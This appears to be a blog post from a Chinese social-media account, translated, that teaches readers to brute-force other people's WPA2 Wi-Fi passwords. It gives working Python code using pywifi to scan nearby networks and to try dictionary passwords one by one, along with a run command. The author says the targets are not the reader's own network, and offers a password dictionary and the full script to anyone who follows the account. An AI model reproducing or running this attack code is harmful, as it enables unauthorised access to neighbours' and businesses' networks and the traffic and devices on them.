def scanWifis():
# 获取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个网卡
iface = wifi.interfaces()[0]
# 扫描周围的 wifi
iface.scan()
wifis = iface.scan_results()
print(wifis)
wifiList = []
for wifi in wifis:
# wifi 的名字,和信号
wifiList.append((wifi.ssid,wifi.signal))
# print(wifiList)
return len(wifiList), sorted(wifiList, key=lambda st: st[1], reverse=True)
↑ Click “yanjoo” above to follow us. Lately, I’ve been into violence and today I’m going to violently crack Wi-Fi passwords. Okay, brute-forcing is the process of automatically trying out passwords by writing code instead of manually entering them one by one. Although it’s not the smartest method, it’s quite effective. Haha. Let’s think about how to do brute-forcing.
First, we need to obtain the Wi-Fi network we want to crack. We don’t need to crack our own home Wi-Fi, of course. Okay, there are two ways to obtain it: one is to directly click on the Wi-Fi network connection on our computer to view the names of nearby Wi-Fi signals. The second way, of course, is to write code to obtain it.
def wificonnect(wifiname,wifipwd):
''''尝试连接'''
# 获取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个网卡
iface = wifi.interfaces()[0]
# 断开当前的 wifi 连接
iface.disconnect()
time.sleep(0.5)
if iface.status() == const.IFACE_DISCONNECTED:
# 创建一个 wifi 连接文件
profile = pywifi.Profile()
# 需要连接的 wifi 名称
profile.ssid = wifiname
# 需要连接的 wifi 的尝试密码
profile.key = wifipwd
# 设置 wifi 的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 设置网卡的开放
profile.auth = const.AUTH_ALG_OPEN
# 设置 wifi 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 删除所有的 wifi 连接文件,就是之前所创建的 profile
iface.remove_all_network_profiles()
# 设置新的 wifi 连接文件
tmp_profile = iface.add_network_profile(profile)
# 连接 wifi
iface.connect(tmp_profile)
# 连接 wifi 一般需要几秒的时间,根据自己实际情况
time.sleep(1)
# 查看是否连接成功,成功返回 true ,失败返回 false
if(iface.status()==const.IFACE_CONNECTED):
return True
else:
return False
else:
print('disconnect error')
return False
Once we have the target to crack, we need to start the cracking process. And to do that, we need passwords. Okay, here’s the key point: where do we get a large number of passwords? We can generate them by writing code, generating all possible combinations of letters, numbers, and special characters. We can also use tools to generate them or download them. Another option is to follow this official account and reply with “wifi” to download a comprehensive password dictionary. Now that we have the target and the passwords, it’s time to write the code and start the cracking process.
sudo python attackwifi.py
We retrieve passwords from the dictionary and use the above function to connect to the target Wi-Fi one by one. Once successful, we print out the password. My local password is quite complex, so I put it at the beginning of the dictionary; otherwise, it would take a long time to crack. The main functionality has been completed here, but I haven’t posted the complete code because it would make the layout messy. If you need the complete code, follow this official account and reply with “wifi” to get it.